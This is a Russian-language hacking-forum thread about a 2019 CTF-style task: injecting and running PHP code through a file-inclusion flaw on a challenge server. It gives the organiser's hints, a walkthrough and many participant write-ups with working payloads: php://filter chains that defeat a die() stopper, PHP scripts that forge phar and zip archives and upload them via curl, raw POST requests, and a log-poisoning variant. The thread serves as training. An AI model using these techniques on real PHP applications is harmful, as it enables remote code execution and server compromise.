Просмотр полной версии : Task #7
Таск запускался в группах в 2013 году.
На тот момент это была новая тема, которая, впрочем, работает и сейчас и мы уже слегка касались ее, поэтому трудностей быть не должно.
Задание:
По адресу http://task7.antichat.com/работают скрипты (исходники приаттачены к посту).
Нужно "залить шелл" в файл db/info.php и выполнить код phpinfo().
Сроки:
Две недели.
Есть несколько способов решения данной задачи.
На Античате известно 2 способа, на рдоте нашли 3.
Соответственно ответы принимаются только от тех, кто пока не видит эти решения, ориентировочно это паблик и lvl8.
Первый способ очень простой, скорее всего найдут все и влет, там несколько вариантов.
Второй чуть сложнее в реализации.
Третий почти не известен и не используется, но он нам очень пригодится в дальнейшем, собственно это одна из причин, почему запускается задание.
Отлаживаться можно и локально, способы универсальные, работают и в никсах и на винде.
Флагов нет, присылайте решения в ПМ форума, для каждого способа.
Правила остаются прежними:
В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ.
Прошли:
=HALK= (https://antichat.live/members/67039/)1,2,3
topthing (https://antichat.live/members/330660/)1,2, 3
giloo (https://antichat.live/members/332259/)1,2, 3
Gorbachev (https://antichat.live/members/300636/)1,2,3
nix_security (https://antichat.live/members/332889/)1,2, 3
BenderMR (https://antichat.live/members/333176/)1,2, 3
manfromkz (https://antichat.live/members/335519/)1, 2, 3
danilkib95 (https://antichat.live/members/329994/) 1, 2, 3
IvanV1, 2, 3 (https://antichat.live/members/330008/)
Раrаdох1, 2, 3 (https://antichat.live/members/258540/)
Прохождения (https://antichat.live/threads/470693/page-2/)
Тот_самый_Щуп
19.05.2019, 00:04
Маленькое уточнение, хоть один из способов решения так или иначе в паблике фигугирует, или предполагается самостоятельно копнуть код, и найти этот байпасс\байпассы?
↑ (https://antichat.live/posts/4307791/)
Маленькое уточнение, хоть один из способов решения так или иначе в паблике фигугирует, или предполагается самостоятельно копнуть код, и найти этот байпасс\байпассы?
Первый способ описан в паблике давно и достаточно хорошо, не требует дополнительных инструментов, используется только интерфейс скриптов и браузер.
С телефона можно решить.
Второй способ (ровно ровесник этого задания) уже требует написать несколько строчек кода, но способ (механизм) уже широко известный и в одном из заданий мы уже ковыряли его. На ачате в паблике есть рыба для такого скрипта.
Третий способ описан на некотором начальном уровне (и он постарше второго), используется аналогично, но реализацию нужно найти самому (тоже писать небольшой скрипт).
Сканеры и брут бесполезны.
Плясать, конечно, нужно от кода.
Это чисто уязвимость скриптов, а точнее конструкции db/info.php.
Нужно обойти стоппер
и выполнить код, который можно поместить после него.
↑ (https://antichat.live/posts/4307831/)
Нужно обойти стоппер
и выполнить код, который можно поместить после него.
Зачем такие явные подсказки?) Это же ломает весь дух
П.С. я ток додумалась про какой именно стоппер шла речь запустив у себя на виртулке(до последнего думала что проблема в несказанном .htaccess). А тут уже это
↑ (https://antichat.live/posts/4308077/)
Зачем такие явные подсказки?) Это же ломает весь дух
П.С. я ток додумалась про какой именно стоппер шла речь запустив у себя на виртулке(до последнего думала что проблема в несказанном .htaccess). А тут уже это
Первый способ очень простой, делается влет.
Пока ни одного ответа, ни одной попытки в нужную сторону.
Впереди работы намного больше, чем догадаться "что же такое - стоппер".
Когда есть дух - хорошо, так и должно быть и он так просто не сломается.
Удачи.
Тот_самый_Щуп
20.05.2019, 19:24
↑ (https://antichat.live/posts/4308086/)
Пока ни одного ответа, ни одной попытки в нужную сторону.
А эти попытки должны быть? Может я чего то не понимаю, ковыряю у себя на локалхосте, результаты работы вы всё равно не увидите пока я их не пришлю в ЛС (если хакерского духу хватит )) )
А пока да, народ слабоват... Нету среди хакеров (ROA >) пока что богатырей.
↑ (https://antichat.live/posts/4308092/)
Нету среди хакеров (ROA >) пока что богатырей.
Есть.
Но они давно богатыри и не одну битву выиграли.
Намахались уже, просто так за оружие не хватаются.
Видимо наша очередь расправить плечи.
↑ (https://antichat.live/posts/4308180/)
Видимо наша очередь расправить плечи.
Только без подсказок пожалуйста)
Тот_самый_Щуп
21.05.2019, 09:56
↑ (https://antichat.live/posts/4308183/)
Только без подсказок пожалуйста)
А ты вывезешь, без подсказок то?
Что то тебя в списке богатырей не наблюдаю
↑ (https://antichat.live/posts/4308186/)
Что то тебя в списке богатырей не наблюдаю
ой все, не флудим
Кто обошелся без хинтов - молодец.
Кому нужна небольшая помощь, она подоспела, осторожно - спойлер.
.SpoilerTarget" type="button">Spoiler: Хинт
Есть такая интересная тема, как врапперы.
Вроде известна давно, можно найти статьи с примерами, кое-что и сами умеем с ними делать, а вот уверенности, что все уже про них расковыряли - нет.
Иногда их применение дает почти волшебный эффект.
Первый способ использует обертку php://.
Ураааа))) Я смогла) Без подсказок)
↑ (https://antichat.live/posts/4308186/)
Что то тебя в списке богатырей не наблюдаю
беее))))
Так, сдвинулись с места.
И даже зарешали второй способ.
У третьего способа есть несколько вариантов реализации, пока в зачет пойдет любой из них.
===
И да, подсказка
↑ (https://antichat.live/posts/4307831/)
Нужно обойти стоппер
и выполнить код, который можно поместить после него.
сработала в минус для некоторых, попробую переформулировать.
Нет способа обойти стоппер, когда вызываем http://task.antichat.com:10007/db/info.php
но нас никто и не заставляет выполнить скрипт именно так.
↑ (https://antichat.live/posts/4308186/)
Что то тебя в списке богатырей не наблюдаю
Второй способ найден) Как дела?
Тот_самый_Щуп
22.05.2019, 14:33
ой все, не флудим ©
↑ (https://antichat.live/posts/4308399/)
Второй способ найден) Как дела?
Не напоминай...
По первому способу.
.SpoilerTarget" type="button">Spoiler: Не хинт, а грубая подсказка
Враппер php:// практически разжеван в нужном объеме в одной из старых статей журнала Хакер.
Просто прочитай и выполни.
На рдоте задание запускалось с залоченным способом php://
поскольку слишком просто.
Нам будет тяжело двигаться дальше, если будем застревать на таких задачках.
Давайте попробуем вместе посмотреть, что тут может быть сложного.
Есть инклюд файла, в который можем писать произвольную информацию
if (isset($_GET['page'])){
if (validate($_GET['page'])) include($_GET['page']);
И это RFI, т.е. можем применять различные обертки (врапперы).
Http:// (https://antichat.live/), https:/, ftp:// и ftps:// запрещены функцией validate(), но список поддерживаемых врапперов у php гораздо шире (https://www.php.net/manual/ru/wrappers.php).
Пробуем работать с оберткой php://, просто потому, что она умеет работать с фильтрами, а мы умеем применять ее в инклюдах для чтения содержимого скриптов.
Именно способность фильтровать потоки на чтение и запись нам и нужна.
Т.е. считанный файл и он же, но обработанный некоторым фильтром (или последовательностью фильтров), уже будут содержать различающуюся информацию и этим можно манипулировать.
А штатных фильтров, работающих с php:// достаточно, чтобы составить несколько вариантов RCE.
Ну и не забываем выполнить требование валидатора
$rules = Array(
'login.php' => OK,
'view.php' => OK
);
Следующая подсказка.
Решения основаны на врапперах:
1 - php://
2 - phar://
3 - zip://
Первые два способа довольно очевидны, штатное использование возможностей.
Как приготовить zip - архив, нужно догадаться, хотя существует читерский вариант, он тоже будет приниматься в зачет, но его ценность невелика.
В этом задании можно отловить для себя сразу две пользы.
Во-первых, это базовые вещи, их нужно просто знать.
Во-вторых, когда ты их нашел сам, а не просто прочитал решение - они становятся "невырубово" базовыми.
Ну и бонусом прокачивается хакерская догадка и поиск вспомогательного материала.
И вот интересно, вообще то, что открыл, нашел сам - является более качественным материалом и фундаментом твоих знаний, чем та же информация, но полученная как готовые результаты работы других людей.
Прохождение.
Первый способ - враппер php://.
Заходим login: password = 1:1 и смотрим,
есть инклюд файла, в который можем писать произвольную информацию.
Нужно обойти одно ограничение (стоппер die() в начале файла) и соблюсти одно условие (в параметр page должны подстрокой войти "login.php" или "view.php").
Если последовать подсказке о статье в "Хакере" и набрать в поиске "хакер врапперы", то в топе видим две статьи, обе полезные, а в https://xakep.ru/2012/11/22/php-filter-wrapper-attacks/ прямо конкретное решение расписано.
Смысл такой, нужно фильтром испортить код стоппера, или вырезать его совсем, а полезную начинку декодировать в валидный код для инклюда.
Например:
Энкодим base64_encode('');
и полученную строку
PD9waHAgcGhwaW5mbygpOz8+
отсылаем прям через форму отправки исследуемых скриптов.
При вызове используем два фильтра, strip_tags вырежет стоппер, а base64-decode восстановит код нашей начинки.
"login.php" или "view.php" можно добавить в запрос одним из следующих способов:
index.php?page=php://filter/login.php/read=string.strip_tags|convert.base64-decode/resource=db/info.php
index.php?page=php://filter/read=login.php/string.strip_tags|convert.base64-decode/resource=db/info.php
index.php?page=php://filter/read=login.php|string.strip_tags|convert.base64-decode/resource=db/info.php
Без strip_tags код тоже выполнится, просто будет мусор от испорченного стоппера.
Аналогичные преобразования можно делать с фильтрами quoted-printable или rot13.
Второй способ основан на использовании архивов phar.
Доступ к файлам в архиве через враппер phar://, осуществляется без необходимости распаковки.
Юзаем следующую особенность, если обращаться к архиву через вызов phar://script_name.php/path_to_file, то stub (это некоторый php код в начале архива, нужный для инициализации класса работы с архивом phar) не вызывется и мы можем поместить туда наш стоппер.
Он станет частью архива, но при вызове не будет интерпретироваться.
Содержимое архива воспринимается, как продолжение файловой системы, сформируем файл login.php с нужной нам начинкой, .
Единственное препятствие, архив защищен от модификации напрямую - контролем целостности, поэтому если его просто подать на вход view.php, в начало архива допишется "\n" и получим ошибку "SHA1 signature could not be verified:".
Обходим просто, готовим архив с добавлением этой вставки в начало, а перед отправкой отрежем ее. Скрипт view.php ее снова добавит и архив восстановит свою целостность.
Вызываем
http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php
';
$stopper="\n";
$local_path_to_archive="/tmp/in.phar";
$url_to_exploit="http://task.antichat.com:10007/index.php?page=view.php";
$url_to_get_result="http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php";
@unlink($local_path_to_archive);
$p = new Phar($local_path_to_archive);
$p->setStub($stopper."");
$p['view.php'] = $evil_code;
$a=implode(array_slice(file($local_path_to_archive ), 1));
if( $curl = curl_init() ) {
curl_setopt($curl, CURLOPT_URL, $url_to_exploit);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, array(
'data' => $a,
'Save' => 'Save'
));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($curl);
curl_close($curl);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($curl);
echo $out;
curl_close($curl);
} else echo "Curl not installed";
Третий способ - архив zip.
В зипе нет никакого стаба, поэтому исследуем и ищем другой способ вставить стоппер.
Тестим и приходим к выводу,
Архивы zip могут быть приготовлены разными способами и содержать разную начинку, не теряя функциональности.
В имени файла можно использовать и проблемные символы, в т.ч. и слеш.
Стоппер можно сформировать в одном месте архива, а потом перенести в другое, при этом целостность архива проверяется по размеру, а не по содержимому.
$p,
'Save' => 'Save'
));
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($curl);
curl_close($curl);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec($curl);
echo $out;
curl_close($curl);
} else echo "Curl not installed";
function getshell(){
$evil_code='';
$header="\n";
$local_path_to_archive="/tmp/test.zip";
$inc_file="/tmp/test.php";
@unlink($local_path_to_archive);
file_put_contents($inc_file,$evil_code);
$zip = new ZipArchive();
if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) {
exit("could not open file $local_path_to_archive\n");
}
$zip->addFromString($header,"");
$zip->addFile($inc_file,"/tmp/view.php");
$zip->close();
@unlink($inc_file);
$r=preg_replace("/\n/si", "", file_get_contents($local_path_to_archive),1);
return $r;
}
Читерский способ, готовим архив phar с нужной вставкой и конвертируем его в zip
$zip = $p->convertToData(Phar::ZIP);
.SpoilerTarget" type="button">Spoiler: Прохождения участников:
↑ (https://antichat.live)
1. дописываем в файл код в base64
PD9waHAgcGhwaW5mbygpPz4g
2. инклюдим используя фильтры:
http://task.antichat.com:10007/index.php?page=php://filter/login.php|string.strip_tags|convert.base64-decode/resource=db/info.php (http://task.antichat.com:10007/index.php?page=php://filter/login.php|string.strip_tags|convert.quoted-printable-decode|convert.base64-decode/resource=db/info.php)
↑ (https://antichat.live)
1. Генерируем пейлод
\n";
@unlink("t.phar");
$phar = new Phar("t.phar");
$phar->startBuffering();
$phar->addFromString("login.php","");
$phar->setStub($stopper."__HALT_COMPILER(); ?>");
$phar->stopBuffering();
echo urlencode(file_get_contents("t.phar",FALSE, NULL, strlen($stopper)));
2. Загружаем его на сервер
POST /index.php?page=view.php HTTP/1.1
Host: task.antichat.com:10007
Content-Type: application/x-www-form-urlencoded
Content-Length: 304
data=__HALT_COMPILER%28%29%3B+%3F%3E%0D%0A7%00%00% 00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00 %00%00%09%00%00%00login.php%11%00%00%00%85%A9%E4%5 C%11%00%00%00%05d%1C%D7%B6%01%00%00%00%00%00%00%3C %3Fphp+phpinfo%28%29%3F%3E%12%1E%F8c%A2O%C3%5C%FF% 2A%13%C4%F9%89%E5%8Dz%0Er%23%02%00%00%00GBMB&Save=Save
3. Инклюдим код
http://task.antichat.com:10007/index.php?page=phar://db/info.php/login.php
↑ (https://antichat.live)
1. Тупо руками создал zip архив и в редакторе его подправил
(писать скрипт для генерации сейчас нет времени)
2. Загружаем данные на сервер
POST /index.php?page=view.php HTTP/1.1
Host: task.antichat.com:10007
Content-Type: application/x-www-form-urlencoded
Content-Length: 707
data=nfo.php%3C%3Fphp+die%28%27Access+denied%27%29 %3B+%3F%3E%0A1PK%03%04%0A%00%00%00%00%00%CE%28%B6N %05d%1C%D7%11%00%00%00%11%00%00%00%09%00%00%00logi n.php%3C%3Fphp+phpinfo%28%29%3F%3EPK%01%02%3F%00%0 A%00%00%00%00%00%13%28%B6Np4hE+%00%00%00+%00%00%00 %08%00%24%00%00%00%00%00%00%00+%00%00%00%00%00%00% 00info.php%0A%00+%00%00%00%00%00%01%00%18%00R%EE%9 3%25B%10%D5%01%80%84%F1%CBi%0C%D5%01%DF%A4Iyj%0C%D 5%01PK%01%02%3F%00%0A%00%00%00%00%00%CE%28%B6N%05d %1C%D7%11%00%00%00%11%00%00%00%09%00%24%00%00%00%0 0%00%00%00+%00%00%00F%00%00%00login.php%0A%00+%00% 00%00%00%00%01%00%18%00%CA%98%0A%F7B%10%D5%01%00u% CD%E2B%10%D5%01%00u%CD%E2B%10%D5%01PK%05%06%00%00% 00%00%02%00%02%00%B5%00%00%00%7E%00%00%00%00%00&Save=Save
3. Инклюдим код
http://task.antichat.com:10007/index.php?page=zip://db/info.php%23login.php
↑ (https://antichat.live)
Ну да, чутка подумал, нашел вариант:
http://task.antichat.com:10007/inde...ble-decode/resource=/var/www/html/db/info.php (http://task.antichat.com:10007/index.php?page=php://filter/read=view.php|string.strip_tags|convert.quoted-printable-decode/resource=/var/www/html/db/info.php)
Ну и в файл соответственно =3C=3Fphp phpinfo();
↑ (https://antichat.live)
Пошагово:
1) сначала создаем валидный рабочий архив:
$p = new Phar('in.phar');
$stub = "\n";
$p->setStub($stub);
$p['login.php'] = '';
На выходе получаем рабочий архив.
2) из готового архива удаляем лишнее, для загрузки его на файл view.php
$filea = file_get_contents('in.phar');
$file = str_replace("\n",'',$filea);
3) грузим его на файл view.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);
4) пробуем выполнить:
http://task.antichat.com:10007/index.php?page=phar:///var/www/html/db/info.php/login.php
↑ (https://antichat.live)
Ну да, чутка подумал, нашел вариант:
http://task.antichat.com:10007/inde...ble-decode/resource=/var/www/html/db/info.php (http://task.antichat.com:10007/index.php?page=php://filter/read=view.php|string.strip_tags|convert.quoted-printable-decode/resource=/var/www/html/db/info.php)
Ну и в файл соответственно =3C=3Fphp phpinfo();
↑ (https://antichat.live)
Пока не могу врубиться почему по адресу:
http://task.antichat.com:10007/index.php?page=phar:///var/www/html/db/info.php/login.php
он не выполняется.
У меня на локалке отрабатывает. Пошагово:
1) сначала создаем валидный рабочий архив:
$p = new Phar('in.phar');
$stub = "\n";
$p->setStub($stub);
$p['login.php'] = '';
На выходе получаем рабочий архив.
2) из готового архива удаляем лишнее, для загрузки его на файл view.php
$filea = file_get_contents('in.phar');
$file = str_replace("\n",'',$filea);
3) грузим его на файл view.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);
4) пробуем выполнить:
http://task.antichat.com:10007/index.php?page=phar:///var/www/html/db/info.php/login.php
и ничего не выполняется...
Но при этом выполняется на локалхосте, если делаю пошагово тоже самое.
Чутка позже буду разбираться что там не так.
↑ (https://antichat.live)
Зарешал zip. Но я так понял, я читерский вариант нашёл.
Пошагово:
Создаем ZIP архив с нужным содержимым, и модифицируем его под наши реалии:
$zipa = dirname($_SERVER['SCRIPT_FILENAME']).'/zip.zip';
$zip = new ZipArchive;
if ($zip->open($zipa,1)){
$zip->addFromString( '/test/view.php','' );
}
$zip->close();
$fds = file_get_contents($zipa);
$fd = fopen($zipa, "w+");
$text = "\n".$fds;
fwrite($fd, $text);
fclose($fd);
Далее, в линуксовой консоли делаем восстановление полученного архива командой:
zip -F zip.zip --out newzip.zip
После чего скриптом его модифицируем, и отправляем куда надо:
$filea = file_get_contents('newzip.zip');
$file = str_replace("\n",'',$filea);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://task.antichat.com:10007/view.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"Save=1&data=".urlencode($file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);
Ну а далее, через тот же курл ссылаемся:
http://task.antichat.com:10007/index.php?page=zip:///var/www/html/db/info.php#/test/view.php (http://task.antichat.com:10007/index.php?page=zip:///var/www/html/db/info.php%23/test/view.php)
Видим phpinfo();
↑ (https://antichat.live)
Добрый день.
Присылаю вам решение (способ
№1
) Task #7 (
/threads/470693/ (https://antichat.live/threads/470693/)
):
1. Переходим по адресу:
/index.php?page=view.php
2. Вставляем в textarea:
=3C=3Fphp phpinfo();
И жмем "Save".
3. Переходим по адресу:
/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
4. Наблюдаем выполненное задание:
https://habrastorage.org/webt/ao/td/yj/aotdyjj_xmhfcdnuhjanw0zovom.png
// Что произошло? Ровно следующее:
В п.2 записали в файл php код в quoted-printable формате (перед этим туда система записывает константную строку с die (
view.php:5
), затем сделали include данного файла с помощью php wrapper, где с помощью фильтра удалили php код с die, и впоследствии в пайплайне декодировали quoted-printable с нужным нам кодом.
Удачного дня!
↑ (https://antichat.live)
Добрый вечер
Присылаю решение Task #7 способом №2 (через
phar
wrapper).
Схема такова
: мы помним, что можем писать в файл
./db/info.php
(с помощью отправки POST данных на скрипт
./view.php
), но также не забываем и о том, что оный скрипт конкатенирует
слева
наши данные со следующими:
\n
Благо, что
phar
архивы так устроены, что в шапку искомого можно положить некоторую полезную информацию, лишь бы потом хеш-сумма файла была верной. Тогда оптимальным решением будет положить туда эти самые строки (которые дописывает скрипт), создать архив, выдернуть их оттуда с помощью любого hex-редактора, и отправить на сервер. Дальше дело техники - открыть архив с нужным файлом и выполнить задание.
Итак, шаги следующие:
Создаем phar архив с помощью интерпретатора PHP:
startBuffering();
// Создаем файл view.php, чтобы затем обойти проверки ск ипта на содержание таког текста в GET переменной `p age`.
$phar->addFromString('view.php','');
$phar->setStub("\n".'');
classAnyClass{}
$object= newAnyClass;
$phar->setMetadata($object);
$phar->stopBuffering();
?>
Открываем его с помощью hex-редактора и удаляем строки, которые вставит скрипт при загрузке файла. Получится примерно такая история:
https://habrastorage.org/webt/rf/6x/ze/rf6xzewf3wejp2iggoy0-aalrj0.png
Загружаем это на сайт с помощью скрипта ./view.php аналогично способу №1 для задачи (с той лишь разницей, что грузим бинарные данные, так что будем отсылать POST запрос вручную с предварительно обработанным через urlencode() урезанным архивом).
Переходим по адресу:
/index.php?page=phar://db/info.php/view.php
И видим нужный нам результат:
https://habrastorage.org/webt/gz/pm/bp/gzpmbpmf8uv-jre2osxzknhlkzo.png
На этом задача завершена.
↑ (https://antichat.live)
Доброе утро
Отменяю свою просьбу выше, т.к. успел.
Присылаю решение 3-го способа решения таска.
Сразу оговорюсь, что методику приготовления архива я выяснил исключительно экспериментально возясь с архивами и почитывая спецификацию, так что я не уверен что она будет совпадать с вашей.
Итак:
Создаем на локальной машине файл view.php (такое название обязательно дабы впоследствии обойти защиту на присутствии этого текста в запросе), туда пихаем php-скрипт:
Там же создаем файл с любым названием и любым содержанием (делать файл большого размера нет большого смысла). Например, abc.txt с содержанием:
foo
Архивируем это в zip-архив без сжатия, притом (!) выбирая сначала файл view.php, а уже потом второй (это потому что в архив они попадают в обратном порядке, и нам надо чтобы полезная нагрузка оказалась снизу (если потом открыть архив через hex-редактор). Если делаете архив с помощью кода, то на этот момент можно не обращать внимания).
Открываем полученный архив в любом hex-редакторе, и дублируем всё содержимое файла в самого себя (чтобы из "ABC" получилось "ABCABC").
Ищем в самом конце файла сигнатуру (всегда будет такая по спецификации) архива 50 4B, выглядит так:
https://habrastorage.org/webt/r5/jt/xi/r5jtxif_sqvhjder4bejpswiz8w.png
И без зазрения совести портим первый байт, можем заменить на 00или на что угодно, кроме исходного варианта.
Теперь можем смело заменять хедер архива чем угодно по меньшей мере мере вплоть до очередной сигнатуры 50 4B(можно и дальше если сильно надо будет), т.е. эту часть:
https://habrastorage.org/webt/uu/ta/xa/uutaxade1-ygakp94j0cfisxmwm.png
В нашем случае должно получиться примерно так (0A это \n):
https://habrastorage.org/webt/lp/os/w8/lposw87rsecqz8gt14ocpobwabg.png
Сохраняем и проверяем что архив нормально открывается (желательно прямо средствами соотв. php-wrapper'а).
Теперь, как и в "способе №2", удаляем строки, которые вставит скрипт при загрузке файла из архива, и загружаем на сайт (опять же аналогично второму способу).
Задача решена:
https://habrastorage.org/webt/j3/1w/oi/j31wois6pzikllihameutjccadm.png
// Стоит отметить, что не обязательно руками через hex-редактор делать все операции, можно автоматизировать в общем виде с помощью самописного скрипта, но в рамках данной задачи без надобности.
↑ (https://antichat.live)
Ещё добавлю, что метод работает благодаря особенностям
помехоустойчивого кодирования (https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BC%D0%B5%D1%85%D0%BE%D1%83%D1%81%D 1%82%D0%BE%D0%B9%D1%87%D0%B8%D0%B2%D0%BE%D0%B5_%D0 %BA%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%B D%D0%B8%D0%B5)
zip-архивов, и что файл-пустышка (напр.: abc.txt) будет испорчен для открывания.
↑ (https://antichat.live)
Приветик)
Не думала что сумею)))))
Сначала кодируем через rot13 нашу строчку:
получаем:
Дальше бежим сюда и обходим фильтры через "пхп фильтры))":
http://task.antichat.com:10007/inde...r|string.rot13|\view.php/resource=db/info.php (http://task.antichat.com:10007/index.php?page=php://filter/read=string.toupper|string.rot13|\view.php/resource=db/info.php)
Я смогла!!!))))))
↑ (https://antichat.live)
Второй способ найден!
Для этого сначала нужно создать phar архив из директории в которой есть допустим view.php с нашим шеллом вот так:
setStub('\n');*/
$archive->setStub("\n".'\n');
$archive->buildFromDirectory($folder_to_compress,'');
?>
Обязательно в стаб нужно добавить тот код который присутствует в db/info.php что-бы не было инклуд не ругался на верификацию SHA1.
Из полученного архива убираем "\n" хекс редактором и весь бинарный результат кодируем в url.
Нагрузку шлем в такск, бежим по адресу
http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php
и радуемся)))
Надеюсь ничего не пропустила)
↑ (https://antichat.live)
=3C=3Fphp phpinfo();
http://task.antichat.com:10007/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode/login.php/resource=db/info.php
↑ (https://antichat.live)
//PD9waHAgcGhwaW5mbygpOw
http://task.antichat.com:10007/index.php?page=php://filter/read=convert.base64-decode/login.php/resource=db/info.php
↑ (https://antichat.live)
Через PHAR
Скрипт
$url='http://task.antichat.com:10007/index.php?page=view.php';
$tmpFile='/tmp/app.phar';
$pharPayload='\n";
$postData='';
$phar= newPhar($tmpFile);
$phar->startBuffering();
$phar->setStub($stopper.$postData);
$phar['login.php'] =$pharPayload;
$phar->stopBuffering();
$pharBin=file_get_contents($tmpFile);
unlink($tmpFile);
$boundary='--------------------------'.microtime(true);
$context=stream_context_create([
'http'=> [
'method'=>'POST',
'header'=>'Content-Type: multipart/form-data; boundary='.$boundary,
'content'=>"--".$boundary."\r\n"."Content-Disposition: form-data; name=\"data\"\r\n\r\n".substr($pharBin,strlen($stopper)) ."\r\n".
"--".$boundary."\r\n"."Content-Disposition: form-data; name=\"Save\"\r\n\r\nSave\r\n",
],
]);
echofile_get_contents($url,false,$context);
Запуск
php -d phar.readonly=off test.php
Шел тут:
http://task.antichat.com:10007/index.php?page=phar://db/info.php/login.php
↑ (https://antichat.live)
Привет! Есть 1й способ)
Через прямой доступ к скрипту view.php мы можем записывать данные в обход авторизации. Запишем следующее:
=3C=3Fphpinfo();
Таким образом, файл db/info.php примет вид:
=3C=3Fphpinfo();
Для вызова php-кода воспользуемся враппером php://. Payload примет вид:
GET /index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
Через разделитель "| " можно указывать произвольное количестов фильтров. Фильтр strip_tags мы используем, чтобы удалить существующие php теги стоппера. Фильтр quoted-printable-decode - декодирует наш пэйлод (кодировали в quoted-printable чтобы защитить его от strip_tags). И наконец, login.php - несуществующий фильтр, который мы используем для байпаса проверки.
PS Спасбо за таск. Буду думать над вторым и третьим способами решения.
↑ (https://antichat.live)
Привет. Вот первый метод:
1) php://
В начале идем на
http://task.antichat.com:10007/index.php?page=view.php
и делаем пост с такой строкой
=3C=3Fphp phpinfo();
потом вызываем db/info.php с такими фильтрами:
http://task.antichat.com:10007/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
Как результат получаем phpinfo()
↑ (https://antichat.live)
Привет
Пока нашел самый легкий способ, остальные видимо надо глубже копать. Пишем в info.php
Далее вызываем
http://task.antichat.com:10007/index.php?page=php://filter/string.rot13/view.php/resource=db/info.php
↑ (https://antichat.live)
Payload: =3C=3Fphp phpinfo=28=29=3B =3F=3E
Request:
http://task.antichat.com:10007/inde...table-decode|login.php/resource=./db/info.php (http://task.antichat.com:10007/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=./db/info.php)
Серьезно ??? это считается простой первый флаг ?)
↑ (https://antichat.live)
Хай, задание конечно интересное, привет из 2012? Жаль что уже такое не встретишь.
URL:
http://task.antichat.com:10007/inde...uoted-printable-decode/resource=./db/info.php (http://task.antichat.com:10007/index.php?page=php://filter/read=login.php|string.strip_tags/convert.quoted-printable-decode/resource=./db/info.php)
payload: =3c=3fphp phpinfo=28=29=3b =3f=3e
По факту - справились с заданием, это очень хорошо.
Трое прошли полностью.
=HALK= прошел без подсказок и, скорее всего, без особого напряга.
Gorbachev хорош тем, что справляется с заданиями, планка которых чуть выше его привычных дел. Почитал, потестил, сделал - мое уважение.
Раrаdох удивил подробным райтапом, не знаю где он работает, видимо часто приходится делать отчеты. Единственно, не согласен с "метод работает благодаря особенностям помехоустойчивого кодирования (https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BC%D0%B5%D1%85%D0%BE%D1%83%D1%81%D 1%82%D0%BE%D0%B9%D1%87%D0%B8%D0%B2%D0%BE%D0%B5_%D0 %BA%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%B D%D0%B8%D0%B5) zip-архивов". Там даже crc нет, контролируется только размер.
Вообще, все молодцы!
Даже те, кто не прислал решение, потыкали, поюзали поиск, посмотрели решения - все равно польза.
И да, тема не уместилась в одно задание, будет продолжение, на более свежем примере.
BabaDook
01.06.2019, 13:45
Paradox iz yandex
Рад что на этот раз было время поучаствовать в таске. Всё понравилось, особенно с zip. Спасибо ребятам кто готовил задание
topthing
02.06.2019, 12:16
С zip действителньо интересно. Хороший таск.
BabaDook
03.06.2019, 04:02
quite gray said:
↑ (https://antichat.live/posts/4310331/)
Не вижу в списках решивших на отлично Task 7 ника BabaDook. Почему?
не заслужил. Если честно, то даже не смотрел таск, что-то руки не дошли. Да и вряд ли все 3 метода сделал бы. С зипом- Это первое что пришло в голову.На рутми вроде был похожий таск.
п.с. даже если бы решил, то я прошу не разглашать это.
хороший тамада и конкурсы интересные
+ варианты сферических коней
allow_url_include = On
http://task7/index.php?page=data:text/html;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==login.php
curl 'http://task7/?'
http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log
Тот_самый_Щуп
08.06.2019, 23:28
↑ (https://antichat.live/posts/4311575/)
+ варианты сферических коней
curl 'http://task7/?'
http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log
Вообще по красоте исполнил.
А враппер compress.zlib:// кто нибудь интересно осилил?
У меня бензобак уже на первом враппере закончился, так как ковырял варианты без врапперов.
С phar по моим ощущениям было полегче, чем с php, ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.
